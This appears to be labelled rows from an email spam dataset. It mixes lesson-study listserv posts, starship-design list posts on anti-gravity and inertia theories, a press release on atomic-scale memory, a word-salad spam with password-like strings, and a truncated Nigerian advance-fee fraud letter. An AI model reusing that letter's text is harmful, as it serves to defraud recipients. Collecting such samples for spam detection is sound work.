>http://www.tc.columbia.edu/lessonstudy/tools.html > >I also highly recommend that you bring the concept of lesson study to >life by showing them a video example. One that I've used that >consistently gets positive, ""ah ha"" responses from a variety of audiences >is ""Can You Lift 100 Kilograms?"" available at: > >http://www.lessonresearch.net/Videos > >I've developed a protocol for using this that seems to work well ... > >Best regards, > >Marjorie > >Marjorie Helsel DeWert, Ph.D. >Educator Learning and Support >SAS inSchool >marjorie.dewert@sas.com >919 531-8213 > > > -----Original Message----- > From: Eileen Engel [mailto:EEngel@ChabotSpace.org] > Sent: Thu 8/1/2002 6:25 PM > To: Lesson Study Listserv > Cc: > Subject: Workshop > > > > Next week I am teaching a workshop on research in education. I am > highlighting several programs including Lesson Study. Catherine Lewis >has > spoken at Chabot Space & Science Center where the workshop will be held, >so > some of the teachers are familiar with the work. > > I would like to have them observe a class and log in answers to >questions. > 1. Is there a specific format for an observation? > 2. Does each teacher observe for a different question? > 3. What kinds of questions? Are they specific to the lesson or general >such > as Are the students on task? > > Thanks in advance. > > Eileen Engel > > --- > Please feel free to post messages about lesson-study related >announcements, > events, and resources that you feel would be relevant to the lesson > study community. If you are interested in discussing in-depth questions >or > insights, please use the collaborative lesson study discussion forum to > conduct these online conversations: > http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For > further instructions on using this listserv (including how to subscribe), > please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. ",0,1 """L. Parker"" ","""Starship-Design List (E-mail)"" ","Sun, 04 Aug 2002 21:25:36 -0500",starship-design: Boeing Internal Report Looks At Propellentless Propulsion,"Boeing Internal Report Looks At Propellentless Propulsion A report published July 29 by Jane's Defense Weekly says Boeing has acknowledged it is conducting a variety of anti-gravity experiments that could rewrite the economics of conventional aviation technologies. According to Jane's Defense Weekly (JDW) the research is being done at Boeing's famous Phantom Works facility in Seattle where Boeing is working to gain the services of the Russian scientist Dr Evgeny Podkletnov who claims he has developed anti-gravity devices in Russia and Finland. But with the Russian government starting to realize that many of the greatest treasures of the Soviet era are to be found scattered throughout the country in forgotten science and technology projects, the bureaucracy has begun to clamp down on high technology transfers to the West. A briefing document obtained by JDW says the project is operating under the internal name of GRASP - Gravity Research for Advanced Space Propulsion. This document also sets out what Boeing believes to be at stake, stating: ""If gravity modification is real, it will alter the entire aerospace business."" Behind the project rests many years of, initially, Russian research, and later on American research at NASA and now Boeing - to investigate 'propellentless propulsion' the politically correct term for anti-gravity machines. Much of the western research has been aimed at testing the validity of Podkletnov's fundamental work with several projects over the years at NASA's Marshall Space Flight Center. In tandem, has been the need to examine possible uses of anti-gravity technologies. Conceivably, uses could range from transport both terrestrially and in outer space through fuel-free electricity to powerful directed energy weapons. In fact, one of Podkletnov's claims was that in high-power experiments using a so-called impulse gravity generator he was able to generate a beam of gravity-like energy that exerted an instantaneous force of 1,000g on any object — enough, in theory, to vaporize it, and even more so if the object is moving quickly. According to the JDW report, Boeing recently approached Podkletnov directly, but fell foul of Russian technology transfer controls. The GRASP briefing document cited by Jane's noted that BAE Systems and Lockheed Martin have also contacted Podkletnov ""and have some activity in this area"". In conclusion the briefing document said additional ""classified activities in gravity modification may exist"". But moreover, Podkletnov was strongly anti-military and was only wanting to provide assistance if the research was conducted out in the ""white world"" of open development. >From VM Mon Aug 5 10:32:51 2002 Content-Length: 12179 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""12179"" ""Sunday"" ""4"" ""August"" ""2002"" ""21:28:18"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""219"" ""starship-design: A Mass of Inertia"" ""^From:"" nil nil ""8"" nil ""starship-design: A Mass of Inertia"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.5/8.12.5) with ESMTP id g752SLHo010554 for ; Sun, 4 Aug 2002 19:28:21 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.5/8.12.5/Submit) id g752SLw8010553 for starship-design-outgoing; Sun, 4 Aug 2002 19:28:21 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.5/8.12.5) with ESMTP id g752SKHo010546 for ; Sun, 4 Aug 2002 19:28:20 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 17bXbX-0000yd-00 for starship-design@lists.uoregon.edu; Sun, 04 Aug 2002 19:28:19 -0700 Message-ID: <000701c23c27$c33c8670$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: A Mass of Inertia Date: Sun, 4 Aug 2002 21:28:18 -0500 A Mass of Inertia by Marcus Chown London - Feb. 3, 2001 What is this thing called mass? Pondering this apparently simple question, two scientists have come up with a radical theory that could explain the nature of inertia, abolish gravity and, just possibly, lead to bizarre new forms of spacecraft propulsion. Faced with the same question, you might answer that mass is what makes a loaded shopping trolley hard to get moving -- its inertia. Or, perhaps, that mass is what makes a bag of sugar or a grand piano weigh something. Either way, the origin of mass is one of nature's deepest mysteries. Some particle physicists claim that a hypothetical particle called the Higgs boson gives mass to subatomic particles such as electrons. Late last year, hints that the Higgs really exists were found at CERN, the European centre for particle physics near Geneva. So, does the Higgs explain weight and inertia? The answer is probably no. Wait a minute. How can these physicists claim they have discovered the origin of mass when their proposed mechanism fails to explain the very things that make it what it is? Well, as Bill Clinton might say, it all depends on what you mean by mass. When these particle physicists speak of mass, they are not thinking in terms of inertia or weight. Matter is a concentrated form of energy. It can be changed into other forms of energy and other forms of energy can be changed into matter -- an equivalence embodied in Einstein's famous equation E = mc2. So in this sense, the mass of a subatomic particle is a measure of the amount of energy needed to make it. The Higgs can account for that, at least partly (see ""Mass delusion"", p 25). ""But the Higgs mechanism does not explain why mass, or its energy equivalent, resists motion or reacts to gravity,"" says Bernard Haisch of the California Institute for Physics and Astrophysics in Palo Alto. He believes instead that inertia and gravity are manifestations of far more familiar effects. When you lift that sack of potatoes or shove your shopping trolley, the forces you feel might be plain old electricity and magnetism. If the forces are familiar, their origin is anything but. For in Haisch's view, they come out of the quantum vacuum. What we think of as a vacuum is, according to quantum theory, a sea of force fields. The best understood of all these fields is the electromagnetic field, and it affects us constantly -- our bodies are held together by electromagnetic forces, and light is an oscillation in the electromagnetic field. That these fields pop up in the vacuum is reflected by Heisenberg's uncertainty principle, which states that the shorter the length of time over which an energy measurement is made, the less precise the result will be. So although the energy of the electromagnetic field in the vacuum averages to zero over long periods of time, it fluctuates wildly on very short timescales. Rather than being empty, the vacuum is a choppy sea of randomly fluctuating electromagnetic waves. We don't see or feel them because they pop in and out of existence incredibly quickly, appearing only for a split second. These fleeting apparitions are called virtual photons. But sometimes, virtual becomes real. Stephen Hawking worked out that the powerful gravity of a black hole distorts this quantum sea so much that when a virtual photon appears, it can break free and escape into space, becoming real and visible just like an ordinary photon. And a fundamental principle of Einstein's theory of general relativity is that gravity is indistinguishable from acceleration. So if gravity can release photons from the vacuum, why shouldn't acceleration do the same? In the mid-1970s, Paul Davies at the University of Newcastle upon Tyne and Bill Unruh at the University of British Columbia in Vancouver realised that an observer accelerated through the quantum vacuum should be bathed in electromagnetic radiation. The quantum vacuum becomes a real and detectable thing. This idea hit Haisch in February 1991, when Alfonso Rueda of California State University gave a talk about the Davies-Unruh effect at Lockheed Martin's Solar and Astrophysics Laboratory in Palo Alto. If an accelerated body sees radiation coming at it from the front, Haisch thought, that radiation might apply a retarding force. ""I'm an astrophysicist,"" he says. ""So I am used to the idea that radiation -- for instance, sunlight - can exert a pressure on bodies such as comet particles."" Rueda said he would do some calculations. Some months later, he left a message on Haisch's answering machine in the middle of the night. When Haisch played it back the next morning he heard an excited Rueda saying, ""I think I can derive Newton's second law."" According to Rueda, photons boosted out of the quantum vacuum by an object's acceleration would bounce off electric charges in the object. The result is a retarding force which is proportional to the acceleration, as in Newton's second law, which defines inertial mass as the ratio of the force acting on an object to the acceleration produced. Haisch and Rueda, along with their colleague Harold Puthoff of the Institute for Advanced Studies in Austin, Texas, published their initial work in February 1994 (Physical Review A, vol 49, p 678). This electromagnetic drag certainly sounds like inertia. But do the calculations agree with the known inertial masses of subatomic particles? Why are quarks heavier than electrons, even though they have less charge? And why are the particles called muons and taus heavier than electrons, even though they appear to be identical in other ways? It might be because they are doing a different kind of dance. In deriving his result, Rueda adapted an old idea proposed by quantum pioneers Louis-Victor de Broglie and Erwin Schrsdinger. When low-energy photons bounce off electrons, they are scattered as if the electron were a ball of charge with a finite size. But in very high-energy interactions, the electrons behave more as if they are point-like. So de Broglie and Schrsdinger proposed that an electron is actually a point-like charge which jitters about randomly within a certain volume. This can account for both kinds of behaviour: at high energies, the interaction is fast and the electron appears frozen in place; at low energies, it is slow, and the electron has time to jiggle about so much that it appears to be a fuzzy sphere. Haisch and Rueda believe that de Broglie and Schrsdinger's idea was on the right lines. The electron's jitter could be caused by virtual photons in the quantum vacuum, just like the Brownian motion of a dust particle bombarded by molecules in the air. ""Random battering by the jittery vacuum smears out the electron,"" says Haisch. This is important because Haisch and Rueda suspect that their inertia-producing mechanism occurs at a resonant frequency. Photons in the quantum vacuum with the same frequency as the jitter are much more likely to bounce off a particle, so they dominate its inertia. They speculate that muons and taus may be some kind of excited state of the electron, with a correspondingly higher resonance frequency. That would probably mean a greater mass, as there are more high-frequency vacuum photons to bounce off. Quarks might also be resonating in a different way from electrons. ""If we knew what caused the resonance we would probably be able to explain the ratio of the various quarks' rest masses to the electron rest mass,"" says Haisch. The cause of such excitations might lie in string theory, which treats particles as tiny vibrating strings, but this is only conjecture. If inertial mass is an electromagnetic effect, why does the neutrino appear to have some mass, even though it doesn't feel electromagnetic forces? This might be easier to explain. The electromagnetic field is not the only field in the vacuum. There are two other force fields: the weak nuclear force and the strong nuclear force. Both could make contributions to mass in a similar way to the electromagnetic field. Neutrinos only feel the weak force, which could explain their small mass. Quarks feel the strong nuclear force, and that could affect their mass. It is even possible that strong-force fluctuations in the vacuum dominate the masses of quarks and gluons. As these contributions are much harder to work out than the electromagnetic ones, no one has attempted them yet. Vacuum-packed So much for inertia. But what about the force holding you to the floor? Can the vacuum account for gravitational mass too? The idea of linking gravity with the quantum vacuum was suggested by Russian physicist Andrei Sakharov in 1968 and has been developed recently by Puthoff. Haisch and Rueda's latest project is to connect this idea with their work on inertia. It's still highly speculative, but they think they can explain away gravity as an effect of electromagnetic forces. Oscillating charges in a chunk of matter affect the charged virtual particles in the vacuum. This polarised vacuum then exerts a force on the charges in another chunk of matter. In this rather tortuous manner the two chunks of matter attract each other. ""This might explain why gravity is so weak,"" says Haisch. ""One mass does not pull directly on another mass but only through the intermediary of the vacuum."" Einstein's theory of general relativity already explains gravity beautifully in terms of the warping of space-time by matter, so this ""geometrical"" description ought to be compatible with the quantum-vacuum picture. Haisch points out that the curvature of space can only be inferred from the bending of the paths of light rays. But the polarised vacuum would bend light paths, just as a piece of glass does when light enters or leaves it. ""The warpage of space might be equivalent to a variation in the refractive index of the vacuum,"" Haisch conjectures. ""In this way, all the mathematics of general relativity could stay, intact, since space-time would look as if it were warped."" And all the strange predictions of general relativity, such as black holes and gravitational waves, would be manifestations of this polarised vacuum. If they can get their idea to work, Haisch and Rueda will have a theory of quantum gravity -- the long-sought marriage of Einstein's general relativity with quantum mechanics. It would finally allow physicists to understand the first moments after the big bang, and the crushing singularity at the core of a black hole. That just leaves rest mass, the kind of mass that's equivalent to energy. According to Haisch, the Higgs might not be needed to explain rest mass at all. The inherent energy in a particle may be a result of its jittering motion, the buffeting caused by virtual particles in the vacuum. ""A massless particle may pick up energy from it, hence acquiring what we think of as rest mass,"" he says. If this were the case, all three facets of mass would be different aspects of the battering of the quantum vacuum. ""It would be a tidy package."" It may be that there is no explanation for inertial and gravitational mass. They may just come hand in hand with rest mass. This is what many particle physicists believe. ""Some people think Haisch and Rueda are on the right track, others think they are on a wild goose chase,"" says Paul Wesson, an astrophysicist at the University of Waterloo in Ontario, Canada. But if gravitational and inertial mass do emerge from the vacuum, perhaps we could take control of them. It might be possible to cancel mass, creating an inertia-less drive that could accelerate a spaceship to nearly the speed of light in the blink of an eye. To do this we would have to exclude quantum fluctuations from a region where there is matter -- blow a bubble in the vacuum. Haisch doesn't know if that is possible. ""Nature does not abhor a vacuum,"" he says. ""However, it may abhor a vacuum in the vacuum."" This article appeared in the February 3 issue of New Scientist New Scientist. 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""We > > seem to be at a natural limit."" > > > > Although divisible, the atom is a fundamental unit >of > >nature. They are the smallest > > particles of an element and a single grain of sand, >for > >example, can contain 10 million > > billion atoms. > > > > The new memory was constructed on a silicon surface > >that automatically forms furrows > > within which rows of silicon atoms are aligned and >rest > >like tennis balls in a gutter. By > > lifting out single silicon atoms with the tip of a > >scanning tunneling microscope, the > > Wisconsin team created gaps that represent the 0s >of > >data storage while atoms left in > > place represent the1s. > > > > Like conventional memory, the atomic-scale device >can > >be initialized, formatted, written > > and read at room temperature. > > > > By manipulating individual atoms at room temperature >to > >create memory, Himpsel and his > > colleagues are treading a middle ground between atom > >manipulation at very low > > temperatures and conventional data storage, which > >operates at room temperature but > > uses millions of atoms per bit. It is far easier to > >manipulate atoms one at a time and > > keep them stable at very low temperatures, Himpsel > >says. > > > > The new memory was made without the use of lithography. > >To make conventional memory > > chips, light is used to etch patterns on a chemically > >treated silicon surface. To use > > lithography to make chips that are denser than the >best > >available chips is prohibitively > > expensive and difficult. > > > > The new atomic-scale memory was made by evaporating > >gold onto a silicon wafer, which > > results in a precise track structure. By subsequently > >evaporating silicon onto the treated > > wafer, the Wisconsin team was able to diffuse silicon > >atoms across the structure where > > they line up and sit within the tracks like eggs in >a > >carton. These silicon atoms represent > > the bits of information. > > > > Importantly, the atoms line up in such a way that >there > >are atomically precise gaps > > between individual atoms, permitting scientists to > >pluck the particles out using the > > superfine tip of a scanning tunneling microscope > >without disturbing neighboring atoms and > > possibly creating unwanted chemical bonds. > > > > While the Wisconsin work proves the feasibility of > >atomic-scale memory and provides a > > platform for exploring the fundamental limits of data > >storage, the technology will require > > years, if not decades, of refinement to achieve a > >practical working memory that could be > > mass produced, Himpsel says. Obvious drawbacks, he > >notes, are the fact the memory was > > constructed and manipulated in a vacuum, and that >a > >scanning tunneling microscope is > > needed to write memory which makes the writing process > >very time consuming. > > > > Moreover, there is a tradeoff between memory density > >and speed, Himpsel says. ""As > > density increases, your ability to read the memory > >comes down because you get less and > > less of a signal. As you make things smaller, it's > >going to get slower."" > > > > An intriguing aspect of the Wisconsin work is that > >memory density is comparable to the > > way nature stores data in DNA molecules. The Wisconsin > >atomic-scale silicon memory > > uses 20 atoms to store one bit of information, > >including the space around the single atom > > bits. DNA uses 32 atoms to store information in one > >half of the chemical base pair that is > > the fundamental unit that makes up genetic information. > > > > > > ""Compared to conventional storage media, both DNA >and > >the silicon surface excel by their > > storage density,"" says Himpsel. > > > > Co-authors of the Nanotechnology paper, published >in > >the July 4, 2002 issue of > > Nanotechnology, include R. Bennewitz, J.N. Crain, >A. > >Kirakosian, J-L. Lin, J.L. McChesney > > and D.Y. Petrovykh. > > > > For more information, visit: > >http://uw.physics.wisc.edu/~himpsel/memory.html > > # # # > > -- Terry Devitt (608) 262-8282, > >trdevitt@facstaff.wisc.edu > > Version for printing --part1_d4.1cdbd205.2aae9411_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-xd03.mx.aol.com (rly-xd03.mail.aol.com [172.20.105.168]) by air-xd05.mail.aol.com (v88.20) with ESMTP id MAILINXD54-0909095117; Mon, 09 Sep 2002 09:51:17 -0400 Received: from mail2.utc.com (mail.utc.com [192.249.46.67]) by rly-xd03.mx.aol.com (v88.20) with ESMTP id MAILRELAYINXD39-0909095049; Mon, 09 Sep 2002 09:50:49 -0400 Received: (from uucp@localhost) by mail2.utc.com (8.10.0/8.10.0) id g89Dom323131; Mon, 9 Sep 2002 09:50:48 -0400 (EDT) Received: from uusnwa0p.utc.com(159.82.80.106) by mail2.utc.com via csmap (V6.0) id srcAAAvtaqlT; Mon, 9 Sep 02 09:50:48 -0400 Received: from saexch-bh1-stf.sikorsky.com (saexch-bh1-stf.sikorsky.com [140.76.216.20]) by uusnwa0p.utc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g89Doka07874; Mon, 9 Sep 2002 09:50:46 -0400 (EDT) Received: by saexch-bh1-stf.sikorsky.com with Internet Mail Service (5.5.2653.19) id ; Mon, 9 Sep 2002 09:50:44 -0400 Message-ID: From: ""Starks, Kelly Apollo"" To: ""'Carol'"" , ""'kathan (yahoo account)'"" , ""'Kathleen Casciola'"" , ""'Kellys Home'"" , ""'Rhonda office'"" , ""Love, Philip B"" Subject: Atomic scale memory Date: Mon, 9 Sep 2002 09:50:42 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" http://www.news.wisc.edu/releases/view.html?id=7774 FOR IMMEDIATE RELEASE 9/3/02 CONTACT: Franz J. Himpsel (608) 263-5590, (608) 877-2000 fhimpsel@facstaff.wisc.edu NOTE TO PHOTO EDITORS: To download a high-resolution image to accompany this story, visit: http://www.news.wisc.edu/newsphotos/atomic.html SCIENTISTS DEVELOP ATOMIC-SCALE MEMORY MADISON - In 1959, physics icon Richard Feynman, in a characteristic back-of-the-envelope calculation, predicted that all the words written in the history of the world could be contained in a cube of material one two-hundredths of an inch wide - provided those words were written with atoms. Now, a little more than 40 years after Feynman's prescient estimate, scientists at the University of Wisconsin-Madison have created an atomic-scale memory using atoms of silicon in place of the 1s and 0s that computers use to store data. The feat, reported in the journal Nanotechnology, represents a first crude step toward a practical atomic-scale memory where atoms would represent the bits of information that make up the words, pictures and codes read by computers. ""This is proof of concept of what Feynman was saying 40 years ago,"" says Franz Himpsel, a UW-Madison professor of physics and the senior author of the Nanotechnology paper. Although the memory created by Himpsel and his colleagues is in two dimensions rather than the three-dimensional cube envisioned by Feynman, it provides a storage density a million times greater than a CD-ROM, today's conventional means of storing data. The atom, says Himpsel, represents the ""hard wall"" of technological miniaturization. ""We seem to be at a natural limit."" Although divisible, the atom is a fundamental unit of nature. They are the smallest particles of an element and a single grain of sand, for example, can contain 10 million billion atoms. The new memory was constructed on a silicon surface that automatically forms furrows within which rows of silicon atoms are aligned and rest like tennis balls in a gutter. By lifting out single silicon atoms with the tip of a scanning tunneling microscope, the Wisconsin team created gaps that represent the 0s of data storage while atoms left in place represent the1s. Like conventional memory, the atomic-scale device can be initialized, formatted, written and read at room temperature. By manipulating individual atoms at room temperature to create memory, Himpsel and his colleagues are treading a middle ground between atom manipulation at very low temperatures and conventional data storage, which operates at room temperature but uses millions of atoms per bit. It is far easier to manipulate atoms one at a time and keep them stable at very low temperatures, Himpsel says. The new memory was made without the use of lithography. To make conventional memory chips, light is used to etch patterns on a chemically treated silicon surface. To use lithography to make chips that are denser than the best available chips is prohibitively expensive and difficult. The new atomic-scale memory was made by evaporating gold onto a silicon wafer, which results in a precise track structure. By subsequently evaporating silicon onto the treated wafer, the Wisconsin team was able to diffuse silicon atoms across the structure where they line up and sit within the tracks like eggs in a carton. These silicon atoms represent the bits of information. Importantly, the atoms line up in such a way that there are atomically precise gaps between individual atoms, permitting scientists to pluck the particles out using the superfine tip of a scanning tunneling microscope without disturbing neighboring atoms and possibly creating unwanted chemical bonds. While the Wisconsin work proves the feasibility of atomic-scale memory and provides a platform for exploring the fundamental limits of data storage, the technology will require years, if not decades, of refinement to achieve a practical working memory that could be mass produced, Himpsel says. Obvious drawbacks, he notes, are the fact the memory was constructed and manipulated in a vacuum, and that a scanning tunneling microscope is needed to write memory which makes the writing process very time consuming. Moreover, there is a tradeoff between memory density and speed, Himpsel says. ""As density increases, your ability to read the memory comes down because you get less and less of a signal. As you make things smaller, it's going to get slower."" An intriguing aspect of the Wisconsin work is that memory density is comparable to the way nature stores data in DNA molecules. The Wisconsin atomic-scale silicon memory uses 20 atoms to store one bit of information, including the space around the single atom bits. DNA uses 32 atoms to store information in one half of the chemical base pair that is the fundamental unit that makes up genetic information. ""Compared to conventional storage media, both DNA and the silicon surface excel by their storage density,"" says Himpsel. Co-authors of the Nanotechnology paper, published in the July 4, 2002 issue of Nanotechnology, include R. Bennewitz, J.N. Crain, A. Kirakosian, J-L. Lin, J.L. McChesney and D.Y. Petrovykh. For more information, visit: http://uw.physics.wisc.edu/~himpsel/memory.html # # # -- Terry Devitt (608) 262-8282, trdevitt@facstaff.wisc.edu Version for printing --part1_d4.1cdbd205.2aae9411_boundary-- >From VM Mon Sep 23 10:14:56 2002 Content-Length: 965 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""965"" ""Monday"" ""23"" ""September"" ""2002"" ""14:28:00"" ""+0100"" ""scifox@asylum30.freeserve.co.uk"" ""scifox@asylum30.freeserve.co.uk"" nil ""21"" ""starship-design: LCDs"" ""^From:"" nil nil ""9"" nil ""starship-design: LCDs"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g8NDT7Le011564 for ; Mon, 23 Sep 2002 06:29:07 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g8NDT7gS011563 for starship-design-outgoing; Mon, 23 Sep 2002 06:29:07 -0700 (PDT) Received: from cmailg1.svr.pol.co.uk (cmailg1.svr.pol.co.uk [195.92.195.171]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g8NDT5Le011557 for ; Mon, 23 Sep 2002 06:29:06 -0700 (PDT) Received: from modem-1406.antelope.dialup.pol.co.uk ([217.134.21.126] helo=kat) by cmailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17tTGp-0003st-00; Mon, 23 Sep 2002 14:29:04 +0100 Message-ID: <000701c26305$3217c4c0$7e1586d9@kat> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk Reply-To: From: Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Cc: ""AAA - List"" Subject: starship-design: LCDs Date: Mon, 23 Sep 2002 14:28:00 +0100 In recent discussions with a friend I was pointed out a problem with my multi-purpose terminals idea. Previously I wanted to use full-colour displays, allowing maximum adaptability (all forms of display, readouts, alerts, etc...). However, as my friend said, colour displays both LCD and plasma, lose or leach their colour over time, while monochrome LCDs are virtually imortal. Now, I'd still like to use colour displays in my designs, as they are more adaptable, even if possibly shorter-lived and more expensive. Does anyone have any info on long-lasting flat colour displays, prefable low-energy use ones? I'll probably end up doing the prototypes one mono displays, as I'm on a low budget and they'rw all I have laying about, but I'd like to leave the room for expansion. I picked up the 19"" rack on saturday, which already has some of the equipment mounted in it, so things are getting a little closer to first practical experiements. All the best Sci",0,1 jan.zuber@bsd405.com,Lesson Study Listserv ,"Sun, 04 Aug 2002 17:07:18 -0700",Re: RE: Workshop,"Dear All, In the Bellevue School District (10 minutes east of Seattle) we have been promoting lesson study for two years throughout the district. Each secondary school has up to 5 Lesson Study Leaders and every elementary up to 2 Lessons Study Leaders whose primary role is to support lesson study in their schools. Lessons Study Leaders receive a leadership stipend from the district for their work. The lesson study leaders (K-12) meet monthly for four hours on a topic selected to assist them in supporting lesson study. We spend one of the four hours focused on technology. They are provided a menu of activities to choose from but the purpose of all the activities is their support to lesson study -- e.g. use of the Internet for both teacher and student research, use of video equipment for capturing teachers' work. All our schools received digital video cameras last spring, so we spent two sessions acquainting them with the machine and iMovie, and allowed them time to write a script for the purpose of introducing lesson study to teachers new to the district and to begin shooting their films. None of the finished products will make it to the Oscars, but the LSLs began to appreciate the power of video as another resource and component of lesson study. The remaining time has focused on topics such as writing narrative objectives, assessment, and communication skills. Several times we have simply provided them time to work on their lesson studies. Many of our LSLs will be returning for their third year this fall. I plan to meet with a group of them to solicit their suggestions for the best use of our monthly meetings. However, I'd be interested in learning if any of you have used a similar format and what topics you have included on your agenda. Thank you! Jan Zuber Assistant Superintendent School Administration & Curriculum Development Bellevue School District, Bellevue, Washington Teachers can ""pay themselves"" for as many as 56 hours per diem for lesson study involvement at the high school level and up to 44 hours at the elementary level (part of their contractual supplementary pay). Groups of teachers who complete --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. 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LIMITED OFFER� oatmeal bigmanzeppelin e-mail japan charity trek amelie light christop buttons fletch vicky center chevy lorraine jordan23 monopoly fiona asdfghjk tina planet hazel charlie1 khan poiuyt _____________________________________________________________ Powered by a short email address ... k.st buffyvelvetjulia",1,1 tbuckner@email.unc.edu,Lesson Study Listserv ,"Mon, 05 Aug 2002 15:29:20 -0400",lesson plans,"Hi, I'm very new, but very interested, in lesson study. Specifically I'm interested in seeing some lesson plans that have resulted from a lesson study. I've looked at the ones on the Lesson Study web site, but would like to see some there were developed here in the US rather than ones translated from Japanese. Thanks, Terri --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. ",0,1 """Dr. Usman Bello"" ",tex-fonts@tug.org,"Mon, 05 Aug 2002 05:07:25 -0000",BUSINESS ASSISTANCE.,"DR. USMAN BELLO. PH.D., FCA DIRECTOR: PROJECT IMPLEMENTATION NIGERIA NATIONAL PETROLEUM CORPORATION FALOMO OFFICE COMPLEX, IKOYI LAGOS. A REQUEST FOR ASSISTANCE/COOPERATION. IT IS WITH GREAT PLEASURE IN WRITING YOU THIS LETTER ON BEHALF OF MY COLLEAGUES AND ME. YOUR PARTICULARS WERE GIVEN TO ME BY A MEMBER OF THE NIGERIAN EXPORT PROMOTION COUNCIL (NNPC) WHO WAS AT THE FEDERAL GOVERNMENT DELEGATION TO YOUR COUNTRY DURING A TRADE EXHIBITION. I HAVE DEICED TO SEEK CONFIDENTIAL COOPERATION WITH YOU IN THE EXECUTION OF THE DEAL DESCRIBED HERE FOR THE BENEFIT OF ALL PARTIES INVOLVED AND HOPE THAT YOU WILL KEEP IT AS TOP SECRET BECAUSE OF THE NATURE OF THE BUSINESS AND THE PERSONALITIES INVOLVED. WITHIN THE MINISTRY OF PETROLEUM RESOURCES WHERE I WORK, AS DIRECTOR,PROJECT IMPLEMENTATION AND WITH THE COOPERATION OF FOUR OTHER TOP OFFICIALS. WE HAVE IN OUR POSSESSION AS OVER-DUE PAYMENT BILLS TOTALING US$30.5M(THIRTY MILLION FIVE HUNDRED THOUSAND UNITED STATES DOLLARS) WHICH WE WANT TO TRANSFER ABROAD WITH THE ASSISTANCE AND COOPERATION OF TRUSTED FOREIGN FIRM OR INDIVIDUAL THAT WILL RECEIVE THE SAID FUND ON OUR BEHALF INTO ANY ACCOUNT PROVIDED TO RECEIVE SUCH FUND. WE, PUBLIC SERVANTS ARE NOT ALLOWED TO OPERATE OFFSHORE ACCOUNT, HENCE YOUR IMPORTANCE IN THE WHOLE TRANSACTION. THE AMOUNT US $18.5M REPRESENTED SOME PERCENTAGE OF THE TOTAL CONTRACT VALUE EXECUTED ON BEHALF OF MY MINISTRY BY A FOREIGN CONTRACTING FIRM, WHICH WE THE OFFICIALS OVER-INVOICED DELIBERATELY. THOUGH THE ACTUAL 